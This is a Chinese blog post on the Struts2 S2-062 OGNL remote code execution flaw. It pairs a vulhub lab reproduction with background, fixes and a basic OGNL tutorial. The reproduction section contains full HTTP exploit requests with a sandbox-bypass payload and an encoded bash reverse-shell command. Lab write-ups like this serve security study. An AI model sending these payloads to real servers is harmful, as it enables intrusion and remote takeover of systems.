struts2 s2-062 ONGL远程代码执行
Posted candada
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了struts2 s2-062 ONGL远程代码执行相关的知识,希望对你有一定的参考价值。
struts2 s2-062 ONGL远程代码执行
一、Struts2介绍
struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。
Java中SSH框架
SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。
Java中SSM框架
SSM框架即指SpringMVC+Spring+MyBatis的简称,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加轻量化和灵活,是目前业界主流的Java Web开发框架。
MVC介绍(Model-View-Controller)
经典MVC模式中,M是指模型,V是视图,C则是控制器,使用MVC的目的是将M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式。其中,View的定义比较清晰,就是用户界面。
不使用MVC组件:
1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL
使用MVC组件:
分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率
二、s2-062漏洞概况
该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %…
语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL
表达式触发漏洞,从而实现远程代码执行。
三、漏洞复现
1、打开vulhub中Struts2的靶场
2、bp发送payload
POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1101
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%
(#request.map=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map.setBean(#request.get(\'struts.valueStack\')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\'map\').get(\'context\')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\'map2\').get(\'memberAccess\')) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedPackageNames\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedClasses\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#application.get(\'org.apache.tomcat.InstanceManager\').newInstance(\'freemarker.template.utility.Execute\').exec(\'whoami\'))
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
3、建立反弹连接payload
payload需要经过base64编码
编码前:
bash -i >& /dev/tcp/192.168.142.133/6666 0>&1
编码后:
bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx|base64,-d|bash,-i
POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1192
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%
(#request.map=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map.setBean(#request.get(\'struts.valueStack\')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map2.setBean(#request.get(\'map\').get(\'context\')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@).toString().substring(0,0) +
(#request.map3.setBean(#request.get(\'map2\').get(\'memberAccess\')) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedPackageNames\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#request.get(\'map3\').put(\'excludedClasses\',#@org.apache.commons.collections.BeanMap@.keySet()) == true).toString().substring(0,0) +
(#application.get(\'org.apache.tomcat.InstanceManager\').newInstance(\'freemarker.template.utility.Execute\').exec(\'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx|base64,-d|bash,-i\'))
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
四、漏洞原理
项目使用了%解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证就可能导致远程代码执行。
个人理解:
struts2项目中使用了%解析OGNL表达式,对用户输入的内容进行二次解析,使用BeanMap类绕过了Struts2的黑名单(沙盒机制),并实例化了可执行任意代码的类,导致可以执行任意代码。
OGNL表达式:
全称Object-Graph Navigation Language(对象图导航语言),一种开源的Java表达式语言,用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能。
OGNL和Struts:
1、OGNL是Struts默认支持的表达式语言。
2、OGNL可以取值赋值、访问类的静态方法和属性。
3、访问OGNL上下文。Struts的上下文根对象:ValueStack。
4、%用来把字符串转换成表达式。
5、可以在struts.xml和struts标签等地方使用表达式。
五、漏洞修复方法
1、升级Struts2的版本
2、升级Struts2的相关组件
3、使用安全产品
Struts2 ONGL表达式
OGNL是Object-Graph Navigation Language的缩写,是一种功能强大的表达式语言。
OGNL的引入
1.ognl访问数据,以下将几种获取方式做了示例:
Action类
public String test(){ //获取狭义上的值栈 context=ActionContext.getContext(); ValueStack valueStack=context.getValueStack(); valueStack.set("name", "张三(valueStack)中的"); //获取广义上的值栈 //获取reqeust中的 Map<String, Object> reqeust=(Map<String, Object>) context.get("request"); reqeust.put("name", "李四(reqeust)中的"); //获取session中的数据 Map<String, Object> session=context.getSession(); session.put("name", "王五(session)中的"); //获取session中的数据 Map<String, Object> application=context.getApplication(); application.put("name", "赵六(application)中的"); return SUCCESS; }
JSP页面
<body> 获取侠义上的值栈数据: <s:property value="name" /><br> 获取广义上的值栈数据<br> 获取请求的参数数据: <s:property value="#parameters.name" /><br> 获取reqeust中的数据: <s:property value="#request.name" /><br> 获取session中的数据: <s:property value="#session.name" /><br> 获取application中的数据: <s:property value="#application.name" /><br> #attr 按照 page,reqeust,session,application顺序查找<br> 获取attr:<s:property value="#attr.name" /> </body>
显示结果
2.ognl访问复杂对象:
Action类
public String test(){ //访问javaBean对象 student=new Students("张三","15"); //访问对象集合 list=new ArrayList<Students>(); list.add(new Students("李四","集合成员一")); list.add(new Students("王五","集合成员二")); //访问map对象 studentMap=new HashMap<String,Students>(); studentMap.put("好学生", new Students("学霸","20")); studentMap.put("差学生", new Students("学渣","20")); return SUCCESS; }
JSP页面
<body> OGNL访问javaBean对象: <s:property value="student.name" />,<s:property value="student.age" />岁了</br> OGNL访问对象List集合: <s:property value="list[0].name" />,<s:property value="list[0].age" /><br> <s:property value="list[1].name" />,<s:property value="list[1].age" /><br> OGNL访问对象Map集合: <s:property value="studentMap[\'好学生\'].name" />,<s:property value="studentMap[\'好学生\'].age" />岁了<br> <s:property value="studentMap[\'差学生\'].name" />,<s:property value="studentMap[\'差学生\'].age" />岁了<br> <!-- [\'好学生\']这里面是map中的key值 --> </body>
显示结果:
2.ognl访问静态属性和方法:
创建一个静态类:
package com.maya.ognl; public class StaticOgnl { public static String str="Answer"; public static String printStr(){ str+="这是我的静态方法"; System.out.println(str); return str; } }
JSP页面访问静态属性与方法:
<body> OGNL访问静态属性: <s:property value="@com.maya.ognl.StaticOgnl@str" /><br> <!-- @包名加类名 @属性名 --> OGNL访问静态方法: <s:property value="@com.maya.ognl.StaticOgnl@printStr()" /> <!-- @包名加类名 @方法名() --> </body>
显示结果:
当访问静态方法与属性时,要在xml文件中配置一条语句,用来允许其调用。语句如下:
<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant>
以上是关于struts2 s2-062 ONGL远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章
重磅 | Struts2 S2-048远程代码执行漏洞分析报告